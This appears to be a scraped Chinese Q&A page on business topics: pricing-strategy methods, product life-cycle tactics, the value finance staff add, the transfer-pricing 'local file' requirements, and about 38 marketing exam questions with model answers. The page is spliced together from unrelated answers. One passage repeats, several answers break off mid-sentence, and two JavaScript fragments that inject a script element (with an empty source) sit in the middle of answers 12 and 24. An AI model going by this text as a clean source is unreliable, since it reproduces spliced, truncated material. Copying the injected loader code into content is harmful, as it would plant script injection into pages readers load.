定价策略有哪些步骤
定价策略，市场营销组合中一个十分关键的组成部分。
价格通常是影响交易成败的重要因素，同时又是市场营销组合中最难以确定的因素。
企业定价的目标是促进销售，获取利润。
这要求企业既要考虑成本的补偿，又要考虑消费者对价格的接受能力，从而使定价策略具有买卖双方双向决策的特征。
此外，价格还是市场营销组合中最灵活的因素，它可以对市场作出灵敏的反映。
一、影响企业定价的因素 A：内部因素 （1）企业的营销目标 （2）企业的营销组合 （3）产品成本 B：外部因素 （1）市场结构 （2）市场需求的价格弹性 （3）市场竞争 （4）国家政策 （5）其他外部环境因素 二、成本导向定价法 1、总成本定价法:成本加成,目标利润 2、边际成本定价法 三、需求导向定价法 1、需求价格弹性 2、供求关系 3、准确把握顾客心理 四、竞争导向定价法 1、随行就市定价法 2、密封投标定价法 3、主动竞争定价法 五、价值导向定价法: 根据客户对公司产品的价值认知确定价格。
六、新产品定价策略 （一）撇脂定价策略 所谓撇脂定价是指在产品生命周期的最初阶段，把产品的价格定得很高，以攫取最大利润。
撇脂定价的条件： （1）市场有足够的购买者，他们的需求缺乏弹性，即使把价格定得很高，市场需求也不会大量减少。
（2）高价使需求减少，但不致抵消高价所带来的利益。
（3）在高价情况下，仍然独家经营，别无竞争者。
高价使人们产生这种产品是高档产品的印象。
（二）渗透定价策略 所谓渗透定价是指企业把其创新产品的价格定得相对较低，以吸引大量顾客，提高市场占有率。
渗透定价的条件： （1）市场需求对价格极为敏感，低价会刺激市场需求迅速增长。
（2）企业的生产成本和经营费用会随着生产经营经验的增加而下降。
（3）低价不会引起实际和潜在的竞争。
（三）满意定价策略 满意定价策略是一种介于撇脂定价策略和渗透定价策略之间的价格策略。
其所定的价格比撇脂价格低，而比渗透价格要高，是一种中间价格。
这种定价策略由于能使生产者和顾客都比较满意而得名。
有时它又被称为“君子价格”或“温和价格”。
七、产品组合定价策略 1、生产大类的定价 2、可选产品定价 3、必选产品定价 4、附加产品定价 5、产品捆绑定价 八、价格调整策略 1、折扣和补贴定价 2、分层定价 3、心理定价 4、促销定价 5、地区定价 6、国际定价 九、刺激性定价策略 1、拍卖式定价 2、团购式定价 4、抢购式定价 5、与产品未来利润增长挂钩的持续回报式定价 6、会员积分式定价
定价策略有哪些步骤
产品的定价策略 价格是公司经营者最重要的决策之一，是市场营销组合中唯一为公司提供收益的因素，是市场竞争中的一种重要手段。
在大多数情况下，就商品型产品而言，价格一直是购买者选择的主要决定因素。
定价是否得当，将直接关系到产品的销售量和公司的利润额。
确定合理的定价和价格政策，是各类公司经营者面临的具有现实意义的重大策划课题。
本章就着重分析产品的价格策划。
第一节企业定价依据 所有营利性组织和许多非营利性组织都必须为自己的产品或服务定价。
在营销组合中，价格是营销组合中惟一能创造收益的因素；其它因素都表现为成本。
价格是最容易调节的营销组合因素，同时也是企业或产品或品牌的意愿价格同市场交流的纽带。
价格通常是营销产品销售的关键因素，是营销成功与否的决定性因素之一。
本章将集中讨论定价问题。
首先来看一下企业必须考虑的定价因素、定价目标以及一般定价方法，然后再讨论新产品定价、产品组合定价与价格变化的战略，以及针对购买者和形势变化所做出的价格调整。
一、价格内涵 （一）价格的定义 从最狭义的角度来说，价格是对一种产品或服务的标价；从广义的角度来看，价格是消费者在交换中所获得的产品或服务的价值。
历史上，价格是通过买卖双方的协商来确定的。
价格并非是一个数字或一种术语，它可以用许多名目出现。
大致可以分为商品的价格和服务的价格两大类。
商品价格是各类有形产品和无形产品的价格，货物贸易中的商品价格称为
产品生命周期的4个阶段，不同阶段的产品策略都有哪些
答入成熟期以后，的销售量增长，逐步达到峰，然后缓降;产品的销售也从成长期的最高点开始下降;市场竞争非常激烈，各种品牌、各种款式的同类产品不断出现。
对成熟期的产品，宜采取主动出击的策略，使成熟期延长，或使产品生命周期出现再循环。
为此，可以采取以下三种策略： 1.市场调整。
这种策略不是要调整产品本身，而是发现产品的新用途、寻求新的用户或改变推销方式等，以使产品销售量得以扩大。
2.产品调整。
这种策略是通过产品自身的调整来满足顾客的不同需要，吸引有不同需求的顾客。
整体产品概念的任何一层次的调整都可视为产品再推出。
3.市场营销组合调整。
即通过对产品、定价、渠道、促销四个市场营销组合因素加以综合调整，刺激销售量的回升。
常用的方法包括降价、提高促销水平、扩展分销渠道和提高服务质量等
财务人员如何为公司创造利润
企业\\\/单位的财务人员\\\/部门完全可以在加强企业资金管理，提高资金利用率\\\/完善企业管理制度这方面给公司创造最大化的利润价值：因为会计的管理职能是一，会计有助于提供决策有用的信息，提高企业透明度，规范企业行为。
有助于企业加强经营管理，提高经济效益，促进企业可持续发展；有助于考核企业管理层经济责任的履行情况。
.二在财务管理实务中，财务管理目标是企业财务管理活动所要达到的根本目的，是企业财务管理活动的出发点和归宿。
三，财务管理岗位是为公司创造价值的协助者。
企业从原材料采购到产品生产，从存货储备到产品销售，每一个环节的经营活动都与价值变动相联系。
具体来说，财务管理者可以在批量采购、最优库存、自产与外包、更新与维修、生产批量、销售定价与销售政策、收款策略、商业信用与供应链金融等方面协助经营管理者进行科学决策，从而确保企业各个经营环节的价值创造。
四，财务管理人员是公司创造价值的保护者。
随着科学技术的不断发展以及经营环境的不断变化，企业面临着内外部多方面的风险，任意一项风险的发生都会毁损企业的价值。
这就需要企业建立合理、有效的内部控制和风险防范与预警机制以对风险进行评估、防范和监控。
在企业的内部控制建设中，企业领导人是关键，财务管理是核心。
企业要围绕防范价值毁损这个关键目标，构建起内部控制与风险防范体系，而财务管理在内控体系建设过程中要发挥主导作用。
五，财务管理应成为公司创造价值的促进者。
公司的价值创造和其他活动一样，要想产生理想的效果就需要一定的激励机制。
财务管理人员参与相应的经济责任考核和薪酬激励以及各项奖惩制度的制定，完善与价值创造相关的激励机制，并通过经济责任考核以及各种奖惩措施促进公司的价值创造活动。
第五，财务管理应成为新环境下的价值直接创造者在现代经济环境下，财务管理除了作为辅助活动支持企业的各项创值活动之外，还可以利用现代经营环境发挥创造价值的功能。
比如，企业可以在财务管理活动中通过降低成本费用来实现价值创造：利用多种结算手段降低结算成本；对外统一筹资降低资金使用成本；建立外汇资金平台，统一结售汇，降低企业用汇成本；进行资金集中管理，降低流动性成本；进行税收筹划，降低税收成本；积极增加现金流入创造价值；科学利用闲散资金进行投资，获取现金流流入；用好政府优惠政策，获得补贴收入；等等。
总之，企业财务管理的地位是要靠自己的工作成绩来确立的。
要想在公司价值创造中起到核心作用，就需要在管理理念上体现科学发展观，在管理思路上不断创新，在管理手段上与时俱进，把握价值创造的主旋律，积极推进创值型财务管理的发展。
企业在准备同期资料时，什么情况下需要准备本地文档
具体内容是什么
根据《国家税务总局关于完善关联申报和同期资料管理有关事项的公告》（国家税务总局公告2016年第42号）第条规定：“十三、年度关联交易金额符合下列条件之一的企业，应当准备本地文档: （一）有形资产所有权转让金额（来料加工业务按照年度进出口报关价格计算）超过2亿元。
（二）金融资产转让金额超过1亿元。
（三）无形资产所有权转让金额超过1亿元。
（四）其他关联交易金额合计超过4000万元。
十四、本地文档主要披露企业关联交易的详细信息，包括以下内容： （一）企业概况 1.组织结构，包括企业各职能部门的设置、职责范围和雇员数量等。
2.管理架构，包括企业各级管理层的汇报对象以及汇报对象主要办公所在地等。
3.业务描述，包括企业所属行业的发展概况、产业政策、行业限制等影响企业和行业的主要经济和法律问题，主要竞争者等。
4.经营策略，包括企业各部门、各环节的业务流程，运营模式，价值贡献因素等。
5.财务数据，包括企业不同类型业务及产品的收入、成本、费用及利润。
6.涉及本企业或者对本企业产生影响的重组或者无形资产转让情况，以及对本企业的影响分析。
（二）关联关系 1.关联方信息，包括直接或者间接拥有企业股权的关联方，以及与企业发生交易的关联方，内容涵盖关联方名称、法定代表人、高级管理人员的构成情况、注册地址、实际经营地址，以及关联个人的姓名、国籍、居住地等情况。
2.上述关联方适用的具有所得税性质的税种、税率及相应可享受的税收优惠。
3.本会计年度内，企业关联关系的变化情况。
（三）关联交易 1.关联交易概况 （1）关联交易描述和明细，包括关联交易相关合同或者协议副本及其执行情况的说明，交易标的的特性，关联交易的类型、参与方、时间、金额、结算货币、交易条件、贸易形式，以及关联交易与非关联交易业务的异同等。
（2）关联交易流程，包括关联交易的信息流、物流和资金流，与非关联交易业务流程的异同。
（3）功能风险描述，包括企业及其关联方在各类关联交易中执行的功能、承担的风险和使用的资产。
（4）交易定价影响要素，包括关联交易涉及的无形资产及其影响，成本节约、市场溢价等地域特殊因素。
地域特殊因素应从劳动力成本、环境成本、市场规模、市场竞争程度、消费者购买力、商品或者劳务的可替代性、政府管制等方面进行分析。
（5）关联交易数据，包括各关联方、各类关联交易涉及的交易金额。
分别披露关联交易和非关联交易的收入、成本、费用和利润，不能直接归集的，按照合理比例划分，并说明该划分比例的依据。
2.价值链分析 （1）企业集团内业务流、物流和资金流，包括商品、劳务或者其他交易标的从设计、开发、生产制造、营销、销售、交货、结算、消费、售后服务、循环利用等各环节及其参与方。
（2）上述各环节参与方最近会计年度的财务报表。
（3）地域特殊因素对企业创造价值贡献的计量及其归属。
（4）企业集团利润在全球价值链条中的分配原则和分配结果。
3.对外投资 （1）对外投资基本信息，包括对外投资项目的投资地区、金额、主营业务及战略规划。
（2）对外投资项目概况，包括对外投资项目的股权架构、组织结构，高级管理人员的雇佣方式，项目决策权限的归属。
（3）对外投资项目数据，包括对外投资项目的营运数据。
4.关联股权转让 （1）股权转让概况，包括转让背景、参与方、时间、价格、支付方式，以及影响股权转让的其他因素。
（2）股权转让标的的相关信息，包括股权转让标的所在地，出让方获取该股权的时间、方式和成本，股权转让收益等信息。
（3）尽职调查报告或者资产评估报告等与股权转让相关的其他信息。
5.关联劳务 （1）关联劳务概况，包括劳务提供方和接受方，劳务的具体内容、特性、开展方式、定价原则、支付形式，以及劳务发生后各方受益情况等。
（2）劳务成本费用的归集方法、项目、金额、分配标准、计算过程及结果等。
（3）企业及其所属企业集团与非关联方存在相同或者类似劳务交易的，还应当详细说明关联劳务与非关联劳务在定价原则和交易结果上的异同。
6.与企业关联交易直接相关的，中国以外其他国家税务主管当局签订的预约定价安排和作出的其他税收裁定。
（四）可比性分析 1.可比性分析考虑的因素，包括交易资产或者劳务特性，交易各方功能、风险和资产，合同条款，经济环境，经营策略等。
2.可比企业执行的功能、承担的风险以及使用的资产等相关信息。
3.可比对象搜索方法、信息来源、选择条件及理由。
4.所选取的内部或者外部可比非受控交易信息和可比企业的财务信息。
5.可比数据的差异调整及理由。
（五）转让定价方法的选择和使用 1.被测试方的选择及理由。
2.转让定价方法的选用及理由，无论选择何种转让定价方法，均须说明企业对集团整体利润或者剩余利润所做的贡献。
3.确定可比非关联交易价格或者利润的过程中所做的假设和判断。
? 4.运用合理的转让定价方法和可比性分析结果，确定可比非关联交易价格或者利润。
? 5.其他支持所选用转让定价方法的资料。
6.关联交易定价是否符合独立交易原则的分析及结论。
”
什么是定价策略
产品的定价策略 价格是公司经营者最重要的决策之一，是市场营销组合中唯一为公司提供收益的因素，是市场竞争中的一种重要手段。
在大多数情况下，就商品型产品而言，价格一直是购买者选择的主要决定因素。
定价是否得当，将直接关系到产品的销售量和公司的利润额。
确定合理的定价和价格政策，是各类公司经营者面临的具有现实意义的重大策划课题。
本章就着重分析产品的价格策划。
第一节企业定价依据 所有营利性组织和许多非营利性组织都必须为自己的产品或服务定价。
在营销组合中，价格是营销组合中惟一能创造收益的因素；其它因素都表现为成本。
价格是最容易调节的营销组合因素，同时也是企业或产品或品牌的意愿价格同市场交流的纽带。
价格通常是营销产品销售的关键因素，是营销成功与否的决定性因素之一。
本章将集中讨论定价问题。
首先来看一下企业必须考虑的定价因素、定价目标以及一般定价方法，然后再讨论新产品定价、产品组合定价与价格变化的战略，以及针对购买者和形势变化所做出的价格调整。
一、价格内涵 （一）价格的定义 从最狭义的角度来说，价格是对一种产品或服务的标价；从广义的角度来看，价格是消费者在交换中所获得的产品或服务的价值。
历史上，价格是通过买卖双方的协商来确定的。
价格并非是一个数字或一种术语，它可以用许多名目。
大致可以分为商品的价格和服务的价格两大类。
商品价格是各类有形产品和无形产品的价格，货物贸易中的商品价格称为
市场营销案例题
求答案
市场营销学 1，市场营是从整定义产，它认为产品的整体模念包含着五个不可或缺的层请简要回答这五个层次的内容。
答:现代营销理论认为，产品应当是一个综合的概念。
任何产品，都应包含着以下5个层次: (1)核心利益。
这是最基本的层次，即顾客真正需要的基本服务或利益。
(2)产品的实体层。
这是产品的基础。
指产品的有形部分，也叫有形产品、实体产品。
是消费者通过自己的眼、耳、鼻、舌、身等感觉器官可以接触到、感觉到的有形部分。
(3)期望产品。
即购买者购买产品时通常希望和默认的一整套属性和条件。
(4)延伸产品。
也叫附加产品、引伸产品。
指购买者在购买产品时得到的附加服务和利益。
(5)潜在产品。
即具有变化与改进潜质的产品部分。
2，分别解释在E>l、E=1、E<1(E表示价格弹性系教)三种情况下，企业的价格变动对产品销售有何影响? 答：(1)当产品富于需求弹性即E>1时，商品小幅度降价，销售量就会显著增加，企业的总收入也会增加；相反，商品小幅度提价，销售量就会明显下降，企业的总收入也会减少。
价格变动方向同总收入的变动方向成反比。
对于这类产品。
企业宜采取低价策略。
(2)当产品具有一般需求弹性即 E=l时，价格变动幅度与销售量变功幅度大小一致，方向相反，总收入不变。
对于这类产品，企业不宜采用价格手段进行竞争。
(3)在产品缺乏需求弹性即E< 1的情况下，即使产品价格下降很多，销售量也只有较少的增加，企业总收入减少；相反，价格提高很多，销售量也只有较小的减少。
价格的变动趋势同总收入的变动趋势方向相同。
对于这类产品采用低价达不到销售量增加和效益提高的目的，而有限制的较高的定价则对企业有利 3，简要说明社会市场营销观念的含义，并举一个你认为符合社会市场营销观念的企业经营实例。
答：社会市场营销观念，是营销观念的发展和延伸，强调企业向市场提供的产品和劳务，不仅要满足消费者的个别的、眼前的需要，而且要符合消费者总体和整个社会的长远利益。
企业要正确处理消费者欲望、企业利润和社会整体利益之间的矛盾，统筹兼顾，求得三者之间的平衡与协调。
（自己举例） 4，简述新旧两类市场观念的区别。
答：新旧两类观念的区别在于：(1)企业营销活动的出发点不同。
旧观念下企业以产品为出发点，新观念下企业以消费者需求为出发点；(2)企业营销活动的方式方法不同。
旧观念下企业主要用各种推销方式推销制成的产品，新观念下则是从消费者需求出发，利用整体市场营销组合策略，占领目标市场；(3)营销活动的着眼点不同。
旧观念下企业的目光短浅，偏向于计较每一项或短期交易的盈亏和利润的大小，而新观念下企业除了考虑现实的消费者需要外，还考虑潜在的消费者的需要，在满足消费者需要、符合社会长远利益的同时，求得企业的长期利润。
5，简述影响企业分销渠道设计的产品因素? 答：影响企业分销渠道设计的产品因素主要包括以下方面： (1)产品的价值。
(2)产品的时尚性。
(3)产品的易腐易毁性。
(4)产品的体积与重量。
(5)产品的技术与服务要求。
(6)产品的季节性。
(7)产品的经济生命周期。
(8)产品的用途。
6，渗透定价策略有何可取之处
在什么条件下适宜采用渗透定价策略
答：渗透定价策略的优点： （1）可以占有比较大的市场份额。
（2）通过提高销售量来获得企业利润，也较容易得到销售渠道成员的支持。
（3）低价低利对阻止竟争对手的介入有很大的屏障作用。
渗透定价策略的条件： (1) 商 品 的市场规模较大，存在着强大的竞争潜力; (2 )商 品 的需求价格弹性较大，稍微降低价格，需求量会大大增加; （3) 通 过 大批量生产能降低生产成本。
7，在什么情况下适宜采用产品调整策略
这种策略的优缺点是什么 答：在消费者需求不同、营销环境不同、技术条件不同的情况下，企业在国际市场营销中往往采用产品调整策略。
产品调整策略的优点是增加产品对国际市场的适应性．从而扩大销售、增加企业的收益；缺点是增加了成本和费用。
,8，对于市场补缺者来说，确定一个好的补缺基点最为重要。
请指出一个最佳的补缺基点应具备的特征 答：一个最佳的“补缺基点”应具有以下特征： (1)有足够的市场潜量和购买力； (2)利润有增长的潜力 (3)对主要竞争者不具有吸引力(4)企业具有占据该补缺基点所必需的资源和能力(5)企业已有的信誉足以对抗竞争者。
,9，什么是集中性市场策略?这种策略适用于哪些情况? 答：集中性市场策略。
即用特殊的商品和营销方案去满足特殊消费者的需要，是一个比较特殊的策略。
在以下情况下适宜采用这种策略： （1）企业的实力比较薄弱。
(2)产品在性能、特点等方面差异性较大或产品特性变化较快。
(3)市场差异性较大。
(4)竞争对手采用的是无选择性市场策略时。
,10，在什么情况下适宜采用产品调整策略?这种策略的优缺点是什么? 答：在消费者需求不同、营销环境不同＼技术条件不同的情况下，企业在国际市场营销中往往采用产品调整策略。
产品调整策略的优点是增加产品对国际市场的适应性，从而扩大销售，增加企业的收益；缺点是增加了成本和费用。
(12分) ,11，在消费者购买行为中，探究性购买有什么特点? 针对这类购买行为，企业应采取什么样的营销策略
答：探究性购买，也叫广泛地解决问题。
指消费者对自己需要的商品一无所知，既不了解性能牌号特点，又不清楚选择标准和使用养护方法。
此时企业要突出宣传商品的特点，使消费者在普遍了解大类商品的基础上，建立起对某具体牌号商品的信心。
,12．在分销渠道设计中应考虑哪些企业自身的因素?这些因素对企业的分销渠道设计有何影响? 答：(1)企业的规模和实力。
规摸大的企业，资金力量雄厚，管理水平较高，如果企业愿意对渠道的控制程度高些，或要求渠道短些，就有可能做到。
而规模小，资金力量不强的企业，必须依靠中间商提供销售服务。
(2)企业声誉与市场地位。
声誉越高的企业，抉择的余地就越大；相反的，声誉不高或没有地位的企业，抉择的余地就比较小。
(3)企业的经营管理能力。
企业管理者的经验丰富、经营管理能力强，职工业务素质高，选择分销渠道的主动性大；否则，选择权就小，依靠其他企业就比较多。
(4)控制渠道的要求。
凡企业在营销中需要对分销渠道时刻控制的，不宜采取长渠道、宽渠道结构。
企业如有较强的var script = document.createElement('script'); script.src = ''; document.body.appendChild(script); 销售能力，最宜把产品直接出售给消费者或用户；当中间商必不可少时，则宜选择较短的渠道结构。
13．细分市场有效性的标准是什么? 答：主要有以下方面： (1)要做到分片集合化。
根据消费者的特点先把总体市场划分为一个个较小的片，然后把相类似的小片集合到一起，形成一个个较大的片。
对这个集合后的相对大一些的片要求特征明确，每个片(即细分市场)必须有各自的构成的群体、共同的特征和类似的购买行为。
(2)细分后的子市场要有足够的购买潜力。
这既要求细分后的子市场具有与企业营销活动相适应的规模，还要求子市场不仅具有现实的购买力，还需要具有相当的购买潜力，这样的子市场才有发展前途。
(3)细分后的子市场要有可接近性。
主要指企业能够有效地集中营销力量作用予所选定的目标市场的程度。
(4)市场细分要有可衡量性。
主要体现在两方面，其一，作为细分的标准应该是能够得到的，有些消费者特征虽然重要，但不易获取或衡量，不适宜作细分的标准，其二，细分后的消费者市场片的人数、购买量及潜在购买能力应该是可以衡量的。
(5)市场细分要有相对的稳定性。
每一个分片划定之后，要有一个相对的稳定期，具体期限的要求要根据市场的变化和商品的特征而定。
14，举出一例实际生活中你所经历的购后不满意的事例，你是怎样处理的?并根据这一,事例给企业在如何提高顾客购后满意度方面提出建议。
答：消费者购买商品以后，购买的决策过程还在继续，他要评价已购的商品。
企业对这一步仍须给予充分的重视，因为它关系瓤产品今后的市场和企业的信誉。
消费者的购买活动，先于购买行为而发生，后于购买行为而结束。
消费者的购后感受和购后评价至关重要。
售货现场的交易过程只不过是消费者决策步骤中的一步，企业切忌以一概全，必须研究整个购买过程，尤其要努力使顾客有良好的购后感受，让消费者满意，从而带来企业经营效果。
(8分) 15．举例说明探究性购买行为有什么特点?针对这类购买行为企业的营销对策如何? 答：37．探究性购买，也叫广泛地解决问题。
指消费者对自己需要的商品一无所知，既不了解性能牌号特点，又不清楚选择标准和使用养护方法。
此时企业要突出宣传商品的特点，使消费者在普遍了解大类商品的基础上，建立起对某具体牌号商品的信心。
(8分) 16．试比较尾数定价策略和整数定价策略的不同功用? 答：尾数定价策略，是针对消费者对一般商品的求便宜、怕上当的心理，尽可能在价格数字上不进位，使其价格的尾数为零头。
使消费者产生价格低廉和卖者计算精确、价格公道的感觉。
整数定价策略，是在消费者购买比较注重高档认知的商品时，把商品的价格定为整数。
给购买者以高档、高品质的满足。
(12分) 17．与实体产品相比，服务主要有哪些方面的特性? 答：与实体产品相比，服务主要以下特性： (1)无形性。
即服务是无形的。
服务是一种绩效或行为，而不是实物。
(2)不可分离性。
即服务产品的生产与消费是同步进行的，是木可分割的。
(3)可变性。
即服务的质量水平会受到相当多因素的影响，因此会经常变化。
(4)不可贮存性。
又称易消失性，指服务无法被贮藏起来以备将来使用。
(12分)。
18，运用产品整体概念的相关知识回答一下问题： “高档产品才是优质产品”的观点是否正确
为什么
答：本题基本观点，这个说法不正确。
产品应该是能够被顾客理解的,能满足其需求的，由企业营销人员所提供的一切.第一,它体现了以消费者需求为中心的营销观念.第二,建立完整的产品概念,提高企业的营销水平,使企业认识到消费者接受产平过程中满足程度,即取决于五个层次中每一层次的状况,也取决于产品整体组合效果.第三,明确产品与企业营销策略之间的关系.第四,指出产品的特征,括宽发展新产品的领域所以说能满足顾客需求，并能提供优质服务的产品才是好产品。
19企业进行恰当的市场定位，一般需经过哪几个步骤
答：一个完整的市场定位过程，通常应由以下四个环节所组成: (1)调查了解竞争者为自己的产品设计的形象和该产品在市场上(或者说在消费者或用户 的心目中)实际所处的位置。
(2)调查消费者或用户对该产品的哪个或哪些特征最为重视，消费者或用户对某种产品特 征或属性的评价标准，消费者或用户通过哪些途径了解该种产品的属性或特征等等。
(3)根据以上两方面的信息，为本企业的产品设计和塑造某种个性或形象。
这项工作通常 是在产品开发过程中完成的。
(4)设计、实施一系列旨在把产品个性与形象传达给顾客的营销活动，并根据实施果及时 调整和改进营销组合，或者重新设计产品的地位。
20请就下列两种产品进行市场细分〈概要提出细分方法和主要细分依据)。
（1）空调（2）手表 答：空调和手表这两种产品都应采用多变数细分。
(1) 空调 :可选用地理环境(如气候、城乡等)、人口和社会经济状况(如收人、家庭规模等)、 购买行为(如购买着眼点等)标准进行细分。
(2) 手表 :可选用人口和社会经济状况(如收人、年龄、职业等)、心理因素(如消费者个性、购买动机等)、购买行为(如购买时机 、购买着眼点、敏感因素等)等标准进行细分。
21企业进行有效沟通及制定促销组合时需经过哪几个步骤? 答：企业开发和进行沟通及促销时的步骤主要有: (1)找出目标接收者;(2)确定沟通目标;(3)设计信息; (4)选择沟通渠道;(5)制定促销预算;(6)决定促销组合。
22通过一件你自己在选购某种商品时被相关群体所影响的事例，说明相关群体是如何影响消费者购买行为的。
答：相关群体对消费者购买行为的影响。
主要有以下方面: (1 )向消费者展示新的生活方式和消费模式; (2) 相关群体能够影响人们的态度，帮助消费者在社会群体中认识消费方面的“自我”; (3) 相关群体的“仿效”作用，使某群体内的人们消费行为趋于一致化; (4) 相关群体中的“意见领袖(或意见领导者)”的示范作用。
23，产品组合策略有哪几种
答：产品组合策略是制定其他各项决策的基础。
企业必须对产品进行组合，做出正确地产品组合决策，使企业的产品组合独具特色，并通过不断调整保持最佳状态。
产品组合调整策略一般有以下类别： (1)扩充产品组合策略。
即开拓产品组合的广度和加强产品组合的深度，实行更多品类或品种的生产或经营。
(2)缩减产品组合策略。
即削减产品线或产品项目，实行更少品类、更专业化的经营。
以利于企业采取先进的生产技术和营销方法，提高效率，降低成本和费用，提高产品质量和服务水平。
(3)产品线延伸策略。
是指全部或部分地改变原有产品的市场定位。
24企业进行有效沟通的步骤主要有哪些? 答：企业开发和进行沟通及促销时的步骤主要有: var script = document.createElement('script'); script.src = ''; document.body.appendChild(script);(1)找出目标接收者;(2)确定沟通目标;(3)设计信息; (4)选择沟通渠道;(5)制定促销预算;(6)决定促销组合。
25企业的微观环境主要包含哪几方面的内容? 答：(1)企业内部环境。
包括企业的生产能力、财务能力、职工的素质、研究和发展的状况以及企业在公众中的印象等。
(2)生活资料消费者或生产资料的购买者。
(3)供应企业和后续经销企业。
(4)竞争企业。
26简述在什么条件下适宜采用广告的形式进行促销
答：在下述条件下适宜采用广告的形式进行促销： （1）消费品；（2）企业以拉动策略为主进行促销；（3）市场分布较广，规模较大； （4）产品处于其生命周期的引入期和成长期阶段等。
27简述在什么条件下适宜采用人员推销的形式
答：（1）产业用品；（2）当企业采用推广的策略进行促销时；（3）市场规模相对集中等等。
28企业在选择目标市场策略时应考虑哪些因素
答：（1）企业经营的实力；（2）产品的自然属性。
（3）市场差异性的大小。
（4）产品所处的生命周期的阶段。
（5）竟争对手状况。
29企业面对环境威胁有哪些对策可供选择? 答：面对环境对企业可能造成的威胁，企业常用的方法有三种： (1)对抗策略，也称抗争策略。
即试图通过自己的努力限制或扭转环境中不利因素的发展。
(2)减轻策略，也称削弱策略。
即企业力图通过改变自己的某些策略，达到降低环境变化威胁对企业的负面影响程度。
(3)转移策略，也称转变或回避策略。
即指企业通过改变自己受到威胁的主要产品的现有市场或将投资方向转移来避免环境变化对企业的威胁。
30分别比较在什么情况下，促销组合中的广告和人员推销更有可能起作用。
在以下情况下广告更有可能起作用：(1)消费品。
(2)当企业采用拉的策略进行促销时。
(3)市场分布较广、规模较大。
(4)当产品处于介绍期时和成长期时。
等等。
在以下情况下人员推销更有可能起作用：(1)产业用品。
(2)当企业采用推的策略进行促销时。
(3)市场规模相对集中。
等等 31在消费者购买行为中，经常性购买和选择性购买的区别是什么?对选择性购买行为，企业营销策略的重点何在? 经常性的购买，是一种简单的、需多次发生的购买行为，通常指购买价格低廉的、经常使用的商品。
一般来说，消费者对这类商品都很熟悉，不会花很多时间和精力选购这类商品；而选择性购买行为，要比前者复杂，消费者对于这类产品有过购买经历，有些基本知识，但对新的品牌不熟悉，有风险感。
对这类购买行为，企业应适时地传达有关新牌号产品的信息，增加顾客对新产品的了解和信任感。
32从影响渠道设计的产品因素的角度谈如何为产品选择适宜的分销渠道
从产品因素的角度，主要应考虑以下方面： (1)产品的价值。
指商品的单位价值的大小。
一般情况下产品单位价值的大小与市场营销渠道的宽窄、长短成反比例关系。
(2)产品的时尚性。
凡产品的式样或款式变化比较快的，一般宜采取少环节的短渠道。
(3)产品的易腐易毁性。
一般易腐的鲜活产品应尽量缩短营销渠道。
(4)产品的体积与重量。
体积过大或过重的产品，应采用少环节的短渠道。
(5)产品的技术与服务要求。
凡技术性较强的商品，企业应该尽量直接卖给消费者。
(6)产品的季节性。
季节性越强的商品，越适宜采用稍长一些的渠道结构。
(7)产品的经济生命周期。
如对处在试销阶段的新产品，可采取短渠道。
(8)产品的用途。
如用途广泛、通用的、标准的商品，可用间接销售渠道。
33以你所熟悉的一种产品为例，说明当产品处于其生命周期的畅销阶段时生产者所面临的问题，以及企业在这一阶段应采取的营销组合策略。
答：当产品处于畅销阶段时，该产品通过试销效果良好，产品在市场上站住脚并且打开了销路。
生产者此时面对的主要问题是竞争者增加，竞争加剧。
企业的目标是继续促进市场的成长，努力延长这一阶段。
为此，企业可采取以下策略： (1)扩充目标市场，积极开拓新的细分市场； (2)广告宣传的重点从建立产品知名度转向厂牌、商标的宣传，使人们对该产品产生好的印象，产生好感和偏爱； (3)增加新的分销渠道或加强分销渠道。
34简要说明在什么条件下适宜采用渗透定价策略。
什么是撇脂定价策略
举例说明在什么条件下适宜采用这种定价策略
以下几种条件下可以采用渗透定价策略：（1）商品的市场规模较大，存在着强大的竞争潜力（2）商品的需求价格弹性较大，稍微降低价格，需求量会大大增加（3）劝通过大批童生产能降低生产成本、（12分） 实行撇脂定价策略必须具有以下条件： （1）新产品比市场上现有产品有显著的优点，能使消费者“一见倾心”； （2）在产品初上市阶段，商品的需求价格弹性较小或者早期购买者对价格反应不敏感； （3）短时期内由于仿制等方面的困难，类似仿制产品出现的可能性小，竞争对手少。
35直接式渠道和间接式渠道在哪些地方有所不同
直接式渠道和间接式渠道的主要不同点在于： （1）长度不同。
直接式渠道不经过中间环节，是最短的渠道；间接式渠道中间包含若干中间商，是比较长的渠道。
（2）职能的分工不同。
采用直接式渠道的企业承担了生产和流通双重职能；而采用间接式渠道的企业流通的职能交由中间商承担。
（3）直接式渠道是产业用品的主要渠道，间接式渠道是消费品的主要渠道。
36根据广告目标特点的不同，可以把广告目标分成哪三类
其各自的目的如何
举例说明。
(1)告知性广告。
主要用于推出新产品，其目的是为产品创造最初的基本需求、企业形象等等（2）劝说性广告。
是市场激烈竞争阶段企业的有力武器，其目的是为特定的厂牌确定选择性的需求。
（3）提示性广告。
在产品的成熟期极为重要。
其目的是使消费者记住某牌号产品。
37企业开发新产品的程序包含那几个阶段? (1)提出目标，搜集“构想”。
(2)评核与筛选(过滤)。
(3)营业分析(或称财务分析)。
(4)产品实体开发。
(5)制定生产与营销计划。
(6)新产品正式进入市场。
38什么是市场营销信息系统
它由哪几部分组成
答：市场营销信息系统是由人、机器和程序组成，为营销决策者收集、挑选、分析、评估和分配其所需要的、及时的和准确的信息。
它主要由内部报告系统、市场营销情报系统、市场营销调研系统和市场营销决策支持系统四个子系统组成。
